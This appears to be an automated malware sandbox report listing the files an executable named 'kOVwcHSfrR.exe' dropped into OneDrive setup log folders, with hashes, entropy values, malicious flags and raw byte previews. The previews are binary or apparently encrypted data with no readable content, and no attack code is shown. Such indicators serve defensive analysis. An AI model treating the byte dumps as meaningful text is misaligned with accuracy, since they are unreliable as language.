Preview:	EBFGO.\(.;O..^.IL..QZ.4+.mQ.R...{l.4.P1....b.]kX0...q8.atE..7..i.g2....h...eD"=.+..1.{c...P..XXl-..E...'..l..QM.3.7.TP......4.\|..b..u.t.QQa.....@...\.O.I.4....Q.D..h./XP..e~..qv..K..t.{.......@....^.k3E.'mO.HX...L....y.;V..%.y.B..nQ...K.C...66^...R.l<j....@.g..m.)Q.%^.^..6r).....<.8.c.T..O..,5.l...M.n...y..n].]H..m.+.\.f.......s9.......{#uzE.#.&6.OF..iG....,+#....Q.q.n.0..s?....8.v...n.<.l.f..\.e.....Sa.D..$. ...../eW.M.\|..6l.E.tJs.....&..4.......p.~Mf.C...)B.8..?..4..=v.t.T...Q..x...H..."..3.u..2k\|../lq.Y.reC9.L.a. ..q.O............A..%..KS%.F....?.(........Q]...%..2du.r.=.L..(.X.)Mw.uwE.hE...4....6....zR..gm.w..+...:.y...q..0...ob..anu......../.. ......J..-.Z..x.{ g.8._..lD8..>..........#....1.....?K.....E)./...D"w...o...G.p.s.........-....V@83[.WNEboVw..U2.U.............b.6W....vp+..\J.k.......4....g..1.*.u5....X2...]?.......J...bW..bMQ.4..V,'.a...]N._..5..;.$.`..D.[.Z@..NB%.. .......2d...H.^..SX..g'..g&....l....u.q..C.u;.B.q..gP-...Ea.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0950.9200.1.odl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20563506419725594
Encrypted:	false
SSDEEP:	24:ron7gkc9/WlV9FNTnnfXh45vT1HUw1bz:ron7x6/WlLTJmrKyz
MD5:	9D4EC9E92C78D3646B4EFC2AFC3A0F70
SHA1:	360A34E21EEE7681E0C33F3390D6A06D916F38CE
SHA-256:	6AE4D74AF5EB22A501F5FCE73CAABB9C4C1E68A1D27B7A3592175B13D1239A73
SHA-512:	22B439F4CCFDA0EB744602D006B0C95618487A88F01B209720E2DAC8FA191B492DC965DF3BF6EFA19D9D49070BEF9C2AC8D41FA8BC51D76429C478D8B371B2CA
Malicious:	false
Preview:	EBFGO`...ME.g..tZ....iH...t..1G.P.....5..X.O.j.\|.G....,bYF.....:...Ac.S~...}......wxp.o.../........?.6p...v.6..[.....t......Z..W.m1v.... .......Of........"KI.E3...\.3..k.]H.=..y.#m_T.D..Li"..:...d.MG:...g.^.......1../..yhF.lTF..1...#.M.H...Z."...,...$4".6R..5+...\...?.....+...+.U..W.S....F..]..._...a.d).R+....oj;.Sk,....1._oj..v8..}.\..k.....&.9n.......1..Q..~....\....i.?....3.n......7. .K...y.G.....f.L..?..$...D......E,.."......W..';....4...E0E^C..Z.B.b,.Z. ...Ly...o^.I.8i.v..?.!q".Y..u...&-2K..o.0nO...k....>9.....\|..5......6...6.....h..S.V.,..HJ\[S.A.o...(t'/..o.J..u/..h..m*.....n..BU.(S..z..b...g"....?...&.......k..=..;..M.J(.......7.....P.X.i..5.r..3..S\..H+%BW.d.....u.5..+..Cw...X..{;..03G..g...f.W..+..,6..m..e.P`.@.R......\|.p.....$...Il..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-05_095014_23f0-23e0.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.940451364120782
Encrypted:	false
SSDEEP:	3072:h7Rqg7RdngC28HJfr9J8fN2P1hwjGujFu4miP4sEaGfN:BRqKdngf4Jfr9WfN2thWDA4mC4soF
MD5:	48DAED89AF337F7D5D923F3B55C683A0
SHA1:	4E545834E2779E6B092EA2A7A909EEFEB4DAB660
SHA-256:	953B23651E52BAB5D9F91A4D59D87ABA83EF39EBFD974770670B3538C6381F8E
SHA-512:	F23DF75604A772EC95C24D73D4A89B8003AF9F7CD3F6B46FA03211411C566B18FDD6DD12641BC05CAE0CCE04D156DE065E3BAE3465ECA0854C535AF54BB286FD
Malicious:	false
Preview:	1.0./..OH..W....@.H...4.k......E.~L.J..QP.'.,.vH....@..w....Z.Vv.A..a._..B.k..i..Q.=!gv[..mPA'......8....~t'.....3.nH.......-..S..!m.......\|..E4.w.[77.G....U..#.I....P.c..$.u..[..i.......eL.iz....)...4......y.h.D.G....F6~=....9\|.S}h..\..."Fa.m.m:..S0i@.3....3...v.......ED.[n.....;...`..f.s....d...1...^...K-^g:.._....e&......%j..l.w...$^...z.."..e).V..Z..vw3.'..2C@.k..$.~.gO.K...7U...OV.ugc.....<.It..].....u..=.$.....f...[.5.i.>.T.).~.P.]E..c.......8..!.6.I.?.-.3 .;,.BD..`..z.m-jz.{Q.....=w-..]...&.W.?.n....t.c...T.[\|.. .l....K...E..U..)F...]]....&..m3..k.....8K~.z.....b....:..j..K..;6.oE.S........{...&.:.lT_.m.E.YPo. ....m}...".Jm._0a...H!K.1.@K."<gvW..#..d...P..D..t...e#K.N..l...........\......`.o(-.......o..G.A.....V.,.Yo.9...#..T.9`. ........\...atf..1....)..7>.I.....n.c.Y2....I.98;.y......l+.......S.........eFIL.D....A..2^ (.....).......b~2..F%.^.7/.u.....Tz..l...ca';.....a..=&...Z..T.2p...J.l...P.....1. /...a..T....^....30.....66.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-05_095041_7664-3424.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.806676248867675
Encrypted:	false
SSDEEP:	3072:mp/IY8fOYuHGX+fkBFLyBUFsqxXWB8umcvIjgQZHFAx:mp/Z8WYGqJpvsqs8umY
MD5:	1D08946C11526E8A86EAAF622801E6A1
SHA1:	94FCDC47F35E4D6E5AE2AF4770B7494CE69F819D
SHA-256:	687966C168B7C7029D815E8FBA5AC7D43F5565527CD18CA8B9EC0EF6CFAC1D90
SHA-512:	1A5C5F716B878D6F33E19617882FA483D0D65FEF7BF2FAB4D1BBE59AB4003B1489DC29700F76C9A7CDA54DC459CFD89FF47F8EDB2572DE01E7DF0B7EE4614C92
Malicious:	false
Preview:	1.0./K..m.L._...~C....<r.M.Vmh...{....8.=\|-.{..9:H..yy.......=.R..t$..U<...-l.w.._...wf.(..s..H..Nx..$..[.&....;..Y.m......../E....k..x7.!..\.b...b.a.}T.7P_.?.!b}v.Y...A^...j.Hn.....8.....t..+..az.YI.{..._....gV..D....@-..../K\}.<.;>...h.J./._..t!x..Q.Z..Rx..r....k,=@.....c../[K.q3.......+F_`..).k..`..5?..)?e..F...."[.Q1....K2>.;.].z)n...&..C..D.-9-g.B.D$...'....B..A~.o>.F..W.x.\....q. 0y...q.V....<...5.5...a\|..4....EP4......E.g..........?..,...c.@...-..j...v........4...\.D\|..[Z<g...}$..qe~CsgG..jof.NW V%.4}.....o.Ut.G..4J....~P...,.Z..i.....-6.W.O.[....%..J.^..@...6$...6.{..u..n%."...h...I.W[...6.........U...F...pm..0.F...t..........aL\|..S_.\|E+.#..%...{...%..h......\....@r..<.p.,....t...R...Q.;..T%..r.V...._.F.....bF.K...R.....{.l[,C.CmV..b....9.m....5.p./Og?5o&.w...X.#!SO..h5'.6t.B^.._jFN.=NIg.GE.6...v5..U....@....t.y.H....J.4\....P.....)$..hI.....j%\|0Pm.P.e...!I....s{...*?P...YM.%.1.."V..Mm\|...r..Y..`.\|d.....^.Z;C...."8.jl4M.zA.KD.b..}5s

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_095006_950-1db4.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	30268
Entropy (8bit):	7.993017446521122
Encrypted:	true
SSDEEP:	768:Dmr9gx/khhLY78+s+06A9ejVK7psWnwT1gR9dEK:DmrSyqVvyJ7psWnvdEK
MD5:	757C3CE7A5FB74E694D22B68D6B9C889
SHA1:	18EA5EDD6336F22FF9B14C29AD835CE962939107
SHA-256:	EB78F202373867CE005C2A4C215AEA1A680FDF0EB979E1F13363DA06AA77D8D5
SHA-512:	F087137928269F2C4F2FC3C3CC5A5A2FCBE8EFAB3F2222C39B3EB9815DFCF0557045410823D85E80C397CA4C71A0B21E8B297D8E73A6BF6CF53E648D501EF759
Malicious:	true
Preview:	1.0./A^.u....U..Z+...L.ZK.....y..Kg.7...pg.^...D.......s@.....5.:'...~aq.SJ.0!.e.#..+...R....ehC.MSV.,#.L..6...S6....=...f..L..4....."B.A.a.....d?2.Tx...#,.c._.......U.....p..\|..$.p...K...D.a.;.M....3.Y...dPZ....o..zod.oGA..k........V....y.Q.\c...jy.......b....T...e......5..4.... 2.A...i.@....6..A(.o....%.h....y....`.^6...V...<..'...M...............q.....-........f....J.%..cp.X..0..).od.we.=Y....5(...Cg...R<..\|&x..RB.....J...)e._v[...{.A...+\....@sN.q.k.\......(.q.TF.&&.Eg.&..BQ`<&.{...r..qfp+w.......%ApAs....K..<g..Er..y.hm..+'.....f.\.{..U-...@...?^...0.Z.O#5.Z......o.h..R._.F.....hRBAAu..G..n.iq~..'..T....2i..n........\d.>......$.,..]w.'...+a....X.G.......E....~.T...T"..#G.bN.Y..:J...#)..$..z.EQT\|.8.......~..2..O...XEC.a.4...k...c...N..2.....2.c.....~..w.;....O....S.5./%.........^i3.e2..CA0S...K..!&.k.^......aw3...........}%...{..!V..............`..s._i.Z...h4o.(X@nfA.x.H2](.a...7.l.Yp....m\....PC.g....s.;..._.qH...M.~..Wn..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_095039_8672-7804.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.587155833603293
Encrypted:	false
SSDEEP:	768:66MtTlW8XaJFqAhn8qS+Cmm5BzF342voXV49a3fGZI6:NMtTFMZyBN42vMDeZI6
MD5:	BA6733203BC5C2DB9C94D1E22592F7FD
SHA1:	A7054FDF66D9048D405D0B2325D238814E268A64
SHA-256:	4CD22A579DF2E15C2F2A7C6DACA5A684E3278586824E22E4B013E470EC34FEAB
SHA-512:	FC562DC87A59FA84F784289CB3819F6CD66FB9546DA28EA27C75A8E5DBB0F4F7A19AC4D23E52DE6125657943A2C2F94692BA49EA9F4F7021951F0A0525D7CD4C
Malicious:	false
Preview:	1.0./G...W.....,.j..no.i.4v....t...{.zM..}...3".d..d..g.Gb.v.....Eu...s....d.P..{\|...D....L....3.zd..Zb....2J...Z:....]x.....~/.......1.Y.]o.v...{Ts7.4..%........o.\s)].i..........@yv..z...vw[[a.o.=vF..(..#<.P..O....q.....0.8..E..[mI.;......h$.Q.)9q\,..v..@n.b..9.?.../..F.Ut.Q..z`...f.h.g...?.UK.V..R[N-l{..h..Vfe...uA...+R...vUk.....^...@..R.8..{6.6.\Z N......~c..h..\....4.h..1.t@..C..........-......Y.......9Sk.].o9...."(X..k.0...3A.......=D...&c%z.+a.o.WEQ..;....u......c..Wq<;....rs...)E.z.....8}J..".L....uw..z.....1.H..l?..I.e.Z._....(.a....5Y........E...]K.0&...D...u......j.....;\|........O.....u.v.Y...U.2..........p u'.<`A....V.j....q.0...........EB...t...8..l&$..Q.9.\|Ej.QP..$...Q7q...ME..pJ..G....@...gp].2.3..."Ch.....7}.6W..8j9.:..g......0....j[O....qb.}"0.]Z.N.t....?(f.@.W.A..f..}...V,>.".....!$-q%(...1....'kb.....(.9NRU.*.r.[.FY..#......H.:..{..f.WY.?.....~.0v{.....ga.u.N..Q..H.B../...8....I.E.@...E.i.7&H.@.t.........P..2..x.4.....oN.f.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_102559_5824-6328.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3031522739637333
Encrypted:	false
SSDEEP:	192:9DTG+i+MWFYuqOKVXOZTMN8pOVbfMU/8TZUiZJu9Dj2fHhI5adFstAaoo3hAycsb:FTDiZX/XbUUIZUiZJCDj2fkadCZ3azO
MD5:	DB3C3A0DC07032EDB05144F7E84450D6
SHA1:	16E486E408A773C9CCF76A5C3EC4B0536AE61413
SHA-256:	6AA48F22D25C50F066E6E0DC6CE17BAAD1CC5083535207E0FD3E9676B8A07917
SHA-512:	4F01183768DAB49CE4810DD5E242CCB431C95E46BADE0F7B00E8D4AE8E3A9AB0A5C2D38CC1B3FA1E07ABD39F2B1FB6C722675357180B86F2CA591622113A6364
Malicious:	false
Preview:	1.0./cr...>...VU.D..U.,.\...$f..,/t..../Q.,...W....:..A)e....x[)....= .....~...a.Jf.d..........A3.!?..m_...b...u.......PnS......^pC..+>......Xi.An..R.6.....u7._...tNt.i!...."N...Q......h....DuJ..9....t...t%.b...(.K+c..-:x.o..@..i.......+.....e.K4.,..&..6.wI.....[.........\.].X.......;.Y..LA.$.X...^.ZrB..w.9...=Uj.<.............-..P... ...~..d.W..$.._....&LWWs./h......_..a....u..m..sB.............U?.......`..u.......J.8....+@.@..D}...c..&..........c.....Y...A....?.-.]....L..Wd..ZhL!.%F.I..8.......'.,.r....bU."[^....J..2s..e.fg..k)F&......e..]@...Z.1..`.J..'+..3.s..'.8..>..ij0..{..t.a.6.....2.<6v...<aOY.......$.4.R1........F.m...6.A...@.q....V..g..VOC.....>..j..V....!.`.].L...o.5q>..$....Yu2w.."..l.O.v.t;L....3;F.I..a...K..So.....r..Z..O:.?..KH.~...wq.G.....[.&...pm...a.].. ..7w......?..'......rVr.LL.c3>hb.R3n..R.a........f..!...y.0..!.,...".d~PF.J'..ay4.<..{...9../..8%Z7........4.u#k...VI....[Wd.iU:.EQ;ZW.0zk.XNO.t.."..~ak....-8.t9....v

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.1023.6684.1.aodl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9662868128419043
Encrypted:	false
SSDEEP:	96:DH75f0JaMc4ZALpiqq5TBhEPq7cQb+CwhHnta8436HBq6:BiTZsq5lVR+CwhHta
MD5:	136036F5E77C0EFA482C6C7DA31CD69B
SHA1:	DBAAD6BE087F492CC011EDE11553B076725D390F
SHA-256:	0C85BF104FA47237DFC62FE0AAD478DBD6CB8CA2C6930DAF67EF5C480AC9021C
SHA-512:	5BB3B3F9FDE5CF54BBC40D67D9E92F4AA9F71BD6B74587328CB83AEB8750CC3D7B3056C4008A9984EADD1ADEEDEAFDD96E61629AFE0E127DE90C3BF31F888D12
Malicious:	false
Preview:	EBFGO......G.0IH=..3tM.....d..g..xc....-...2.@....l....ZtS>.+.KHE...k.maB....E...U..W.P.S._NC..w.%A..'2.:.-..C.....iz.3.!...(.......6.?&..f.}..O........m.....n.\.k.... .9...i.3.0#...F..eN..@RO...ZE.`.k..i......9..Vfa.Z50.~.".{$.M....R.E$.LQ.C/Ad[@G..U-.........@EaxM."....#.....a...M..G......".(M.....E9I7:.).. ....E...y.........]....N3.?.P.....t..).$...P..8.WLh}]e.B.O.....CtB(...K.^#5..5....F.i.........Q.t@...f....G..!r..../y...Cl.gm4.cBE.p...`....T...<.}.k..W0.jHIMK.@.../gm...^......nZj.....:.3{.y.)...o...%..?...x..8....~......K\...(y.MJ..z...L.4..o..........#..!.u...BU..j[T,...-.<uO....~{...)lk\..~..s._r...BOX.w.*.!.....V.Q.a...m..a.......W...y2Q........b.:9V.....@D..nV!...q..D:....9]..4....f&..`...O.-8Wx[Hz.......3.U.;..\5..._..<;...f:}......Q.[.-...z..F6@...._F.A....;.0]`..\.d.... .3.=>..?pSfa.....-o.RO.E..e<...aF.nd.....w.V...._#~S..Eo....kdQ9..\..u.....^.5(s..s....#\|.g&x..B.LFL,.O..nXX/.......}..Iu}......N.@..b.jE...\]83d:0...b...w;<;...~

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.1023.6684.1.odl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5616711261914924
Encrypted:	false
SSDEEP:	192:9lqFOuocH6kJxyI9CsO3A3wVBlMSINK+uwNIS2Jk8/pdGqkgc2B1qsWr:9lqydkS5sOlsU+DIS2nGjgc2B1or
MD5:	A88D067DB59516347916A06BDB6E17D5
SHA1:	0CD617626DD412EEB8E713F278435878712905E3
SHA-256:	E8332A494C1BC7FABB2BBDCD38C31320595D4BF29509C96EF466D941C5F4F4F5
SHA-512:	780F7D14D58DBC53B4CBFC3C1A71776965DE87AD6008B2F4203A6BC2251743143D1FB5FA7EDF5C178D68C4680618B0E06A629C45BACDB6CA1B4DC77C3A841BEF
Malicious:	false
Preview:	EBFGO).4m.l.2.....+.....9....r.=T.(..G..[w.I...G2. ..B!P%z.9....A.6?.../;{IvCm.......\.k..x.}.Wn../..r.P.t...&n...Yo......fh..v..Q.5.dz.4E....[.Q.....l..-3.0.5{T..\.."......_[....Yw...o.w..\.@..S.@....u...o.m..T._.j..`...t..3b..y..\}.......-P.$..<...M.k....b..:..p...Tq ..o..w.S..6........?.T.@u..7...lI]l5.JF.......y...>HZd.../.\..o..s.6l)P+...h..:..u..^.1.....M..{..Y.E.....hKd..iU3....S5....}^....S`..VFg..CM..P...:_...WR.....:i..a..........v]....].l.].jXS..P*C..1.....Qf.tta.B.p3J'e...N..a..Ax&CK.d..}...k:#.i.....5.rj,...7..}...m....{.0..%..o.(.ek...9g.e.M ..2..HUJ.\)AbC............;...1...Q..+.dZ....u4...G..%1....h1..:.{.j..E...I...?..4.=M..F4..A..R.rE=R.H.'...\.....k....`..T1.~=.+..od....#..........q..+o<A..9M.N...t..`.Zu.f...~s.(..f.N.].C....].g...........o.....W.p.e..'....{...Q...3Y...>.e..........q.!......]%.@l.{.q..O.p.6.w.S.zJF.........;..S..r..-.2...k....M.H5...n}..Dl...J.He2......O_Fk...M....Q.y.....j.X..<eg..7...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-05.1023.6180.1.aodl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8653860211793949
Encrypted:	false
SSDEEP:	96:BruXILFFphJX26NIHNjIMJ3k9kgDHv18y8I/h8mgad1Og+Cu0ov6:AcFj26IU9kgj18tI/6kfu0o
MD5:	E62574F866912DA4FEBAB017C6A6ED76
SHA1:	B96FE9886E9F067CCCDC2C656D4EAF4FB4521D22
SHA-256:	D5FCA4B1FF2437627AD05B4BF42F9D3E2982D9DF1F7C9FB9399806BD0513D693
SHA-512:	828CA9072A0B290FD71F98B2A89FDEDD0AADCE60173468D0385239C5E7ED9B76379C6C2BCB6DDD5FD13BE99D6B27C1A2A85F81B325957F3F17986BFA54C06B71
Malicious:	false
Preview:	EBFGO."x....2nQ/..b..9.....7.].r7sX.o<.f..-C...k22..\|q@...V.]....m..f.[>.@...g..1..Z............a.R.......'{_.@......9.=.1...........B..A905.......h'..;...Rz.C..e^......v....~u.......r..r...%.2b...u...3>...._J..G..u..?.....S..K.Mh......Q....3...\l.F..c..9z2.......s./...x..M\|.K..)..~N.oLt...3..#..`N9V.2....E...m..u......@X......).9 N...Gt.v<.3.k....y&..#yL. ....GK.%.J...6...L......@`..5...U(....... ..5....~t7..c.Q.z.7...!B^..Q).wve.hq.+5"..Z.;.;4......CR........2.W..T....-T.F.l......~dg9.+Hh...&[#..O..3...B.p.....8...Us....^.Y'.Z....~R..L...G.A..G....g%......t-......_P...+...3.$....s.....`,Du...ir....(....Ki../.zc._2.nJ.r.G.............\|'Y.6l....r7}Z.^g...k.,y..8.................(E..j...t..SS\|....../f....!...O).swj.e.N...(\)..&MchW...?."...9FI.br.`\|.E=........=..T4..w.2..t.Ddh#.m.......z..Ad.........g.D.=.Jc~........~.?....Io3X.\.Z5...=....Q..`W.<..or...7$.x..;)V$y...H...zOk."..V.k../4..jZp'WcE.5ip......".x...i.!...+r

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-05.1023.6180.1.odl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20662148241699518
Encrypted:	false
SSDEEP:	24:YvF/x9pKL6YomHuHMX1B6aOzOcg0fjpMCPUvS8w1bz:YVjXYomHv14aSMBa8yz
MD5:	AC65F41614B02E9005A836474ED118F5
SHA1:	C1AF5249F46D0E449A6DF8A1761CFACFD2384CE4
SHA-256:	79CE0B80B1E5BC7D4ED8E464AAF91C8E2DBA6D8209CE60046025A614BBE3A447
SHA-512:	CF0CD816BD43CD0CD9B30683D9882F33911865128A3DC9560E6FCE8E60B07EC68D6F1C189FDEE9DF940011A2BA36057162AE140242E7320B04A299D6B5FBAB98
Malicious:	false
Preview:	EBFGO.$.v/...P........;9&....zP..l.....f.l...N..DG.z4..e.}..Gn-..3.V/....d...9t.91...jM......-.\...@....t...V..D....+?.^.@D.J.e..N.K.H.......P.................M.W.h...?..R.'6.Z.w...$.,.I.QA....@..EQ.,....L...x.wV............zu.('P.Ss.........W....Eb-;..A.# ..a..P...4..5.u=.H.d..UrV.........OF.\|._...KW...N.....}(%q.'.]h9......N}CY..f....>..Y.dE...cj=..O\|..1....$B.8{XM....V....k&-^.`)....f..>2.2wB6..>.....(...w....<.(.C..^.C.."%....x..(-....VJ.l!.IeN....f.lU}$.dXN...#.....h.%....K.d....@..."x......~....i..Z...a.].0...g.mj<t...J...Q.t$...r.........F..l....z.!..:..B.k..t;qY^.....#+.@[6.eE/..D,...i[[9UB;...1....Nq..\|.7.H$.>um..F.n.n.......`-!.N..u..S..IZ.m"+b..[.........E.....3....@......!..3o....Y....s..dgh......=.A.e..I....].Tp...j!E..a.\_..t.%.......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-05_102325_1824-1818.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.460971707757436
Encrypted:	false
SSDEEP:	384:gxYwwAmSpMRHRyVFQIUm3X//qE6Au1iHRQtreylNj+uzjv1E5hmp33/:gxYWmSpMw3f/qBhtSg/zjC
MD5:	BD371B31A50B6A058AB131C2C1602667
SHA1:	C39C89DAC3588BF87869C90E7FFD9385CED27BB4
SHA-256:	D7849BA1E69D92AD4D0796FE5A30F56E7308AB631A98D99FA64C52A348D5EC6B
SHA-512:	3E68709CB6588DBE6BC37F7E6BEB9BE69B4B70BF1A8D430C9253E35639719893E7BD11AE6B8F457F18C7AD0E76215C95C297300FC5C6C424479619737305CFD9
Malicious:	false
Preview:	1.0./s..}6.....K<.....i..f.W..7ajXC...og....?...`(.sh.m#...7).s.B.l?.pJ1}..{... ...N...%b.i?jMaf......w. ..:....N5.m.v.....(....,.x.2,.\..2..@..'....'...Hv...d..j...../......^......p3...K.czl\|S.R).#...G.R..s..]A..Q......7t.T....F.N..KI.._;..a..... ....R..../..I......&..A..2..._..Md....m./+h.yGHu{.h.#6.ci..H$.&b.4.e!..{.....\."Bta..{m.".....Bx.9..._..p...t.-.U{...F..5T> .",o.n_C.n..K..O!..0..x....>....o...27.......7.....=.......B.K.t...\..U.1...c..y..l.%.p(t........._..sY.n.!.....EQ[.kJ.P....Q...t.....&........iG...).XP..<..Ti.i..J.6.v&?5.x.j...&.:.:...'7..i.P4.........I[/A...%2......#J.w..:..m.@........Ul..`n.k...X?Qm....H<...,0...+.......>..o\..".##....1{..d..h.m...\e..O...Hq9[..x..5zo.8Y.S>,..p....p[....a..D.9.J.o.s.p.G$.$.c...>...-../wbh.H.1...'7...X.K!J7r.j...2....cOB..b...Y.`.....\oX........_B>tU.D.%..d.0.u.F&..$..16.....b......r2.!Z3.s..k-qY.>..f.]..C....m....c...:b..9>6.3..%.%.b~J.[7.k.s.Y..l.?..8.fu.m4a.,.Q.k...T*n..a.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-05.1023.6228.1.aodl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.940438565429159
Encrypted:	false
SSDEEP:	96:vgPbV4o0Kd8l+mYjFJeOh+iycVhkpTVSy1qNi5cdCcj40iMhARscEC/hC6:vubz0hEflbychg5SEqNpUT0iAARnE+
MD5:	1B73C4EF7CB14675185B147D43FF806C
SHA1:	67923FD9A351B8897E85798FC0819DF1AE6E593F
SHA-256:	2D2DD07F4D3B389430238544C19531006BF408E9DF87A8DC50C0BDA8460AAE37
SHA-512:	BE14FB904CE0574E77D44196E28F2603A8E013C84FEBB3B155DFC06C906F69CE7752EDEFA3000F77DFA60C6C14410B2DF7D7155FC3501E397D9E835BD4371B2C
Malicious:	false
Preview:	EBFGO.`IAB`..K\|N%....'E...3...P...cN..[..7.n.:....qS....34.7z..##.e...^.g..(...P..W!..x...+4: ......Cj.^qC8......_..z.......MV!..38k.#..]......_....sNSV....i@.}.,..-[. .......d.]...I2D.Gq.Zm...f...>&..6.].8\..sbR...1...J....&3=J..A.).C..{.x...<s.!F.X.7..1c..d.hFk...;.`.o.......H....._.f.C.....l..$..#IIi.,.7......^m%....x.<...c.}W!..r.>o.n......<.xi..........)f[q... GX<:..Yy.:zlO9. $.1v.....-.?.U.....!7[1.=1f.....c(.c...\|.......d/.Yw.O.(S.f..~AL;.{'.;..=...qj......._.Q{\|.....(=y..B.p7.,Yh.........ep....A.?...6\.. [..).Zw.{hwk....o......>..<.p..}..V.~...H..>S.....1.....].p.;..Q}..F..rY...533....O..X.Xuk...SF.^.Y..N..B..g.wx..v.Ed]...9....c....Z.n...X....ex8i......&Ii.~..=p.....G...T...x.)..1..k.sx,.!.E.;.....k.r..N.I\I....8+...".:....th...YU.2.zk:....%..y.Bn..&os.;.@....q..-.)....3...-...f.......-.o.5...p)...b^...\|..Lp:5.'.+...i.E.f.D&..T....{j.....o\..d,.b,..FVn7$......I...].....2Z]S.x..V.....f...}.R.0...C.,u.LI..>z..w.....u......h.0..+.6.......[.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-05.1023.6228.1.odl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20613814240204026
Encrypted:	false
SSDEEP:	24:xiFyD8VB5Puquga/cNnR/NAENHBZtRvsyg3F0w1bz:xpwVHUoNRCE1rnsyguyz
MD5:	82FEC3360E0C1AB3DB11D8357AA01D95
SHA1:	E008D93A7F595E24A8D2E9AF282D3F67F7167B3C
SHA-256:	1D3508B9038EA79F552994EE9281ABB2290C431A8643A747AC4A5CF406964AF8
SHA-512:	458AFDBBA160DDCA3DF14595285DDFB338A1BBA90B8ECFD8A38F9C6DA3D4601C264C69AA9B4CCB794E44F891DFD9FEC9855FD6BB986B6FF73690C90306C7B0F6
Malicious:	false
Preview:	EBFGO....I..[..W..d+...(S..$.1..k.5.\....g.uP.s...\...f.<1\|...].E.clr6.:EP.....].O.;./.E.e. ..M/C.P...Jp..l...n...~.....-..e..J.x\R..Ix...3.#.e:....a.J..\|."...h...g7v.<.~obn..Q..v..>i.d.TX"?Z(.2..v+!g.`...~Q.1I.... q...=`.......X...........4c.g...$..1F 8w..2b.......,,!....@...:.:.......v........j.OX.-....P.......t..e...n.Xga.......K..c^>....RpC4..u..t.....~.......".8^m..gn.'..+...h....{d.)...?..1..P....._@.......MG..=t..E..NU(r.y.J...=...k..3..7Q...#=..IO.......X.2G.m+}..y9.>....1...6.J...R\f.....).....$N..c 1m.i..".$..c3f.._('.)e\J43...4#.Q.S.4.j.K..5l.:"...t.......f......y.)F.8....a..VS.^).\|..9u\3...eH..`.z...B..d...J......_.P........M....$..MY..?B..?.m....v.tQ....K..C.P.......K.E...):2....@..V.h..@4O\.....'.........k..2.H.q.H..p...F.dd.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-05_102326_1854-1860.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8939442207314
Encrypted:	false
SSDEEP:	384:lqmzoLMbACToCM4jEPzCVoLR/ujRbmFFlOhVeYRKxIgL4v3uD:lqm8LifToCp+OmLRmFelUMekK3u
MD5:	5E373130C4861EBA430007FAD345AEA3
SHA1:	6AD0811B0754E1525F34E52B9F71FE5F54B43F4E
SHA-256:	454438AE76F480D0088C459B83369A11FF120D4458BC4755CBC2CCC9F52C2459
SHA-512:	4D2515E5C1A6A98516E47036CD75B99EEE5B3B46F3145AF90FC5A4165D43FA2D5CB5358D3887C09AEECFC43A3E1170EAB4AFDF26F2FC2A7954609325A0AD477F
Malicious:	false
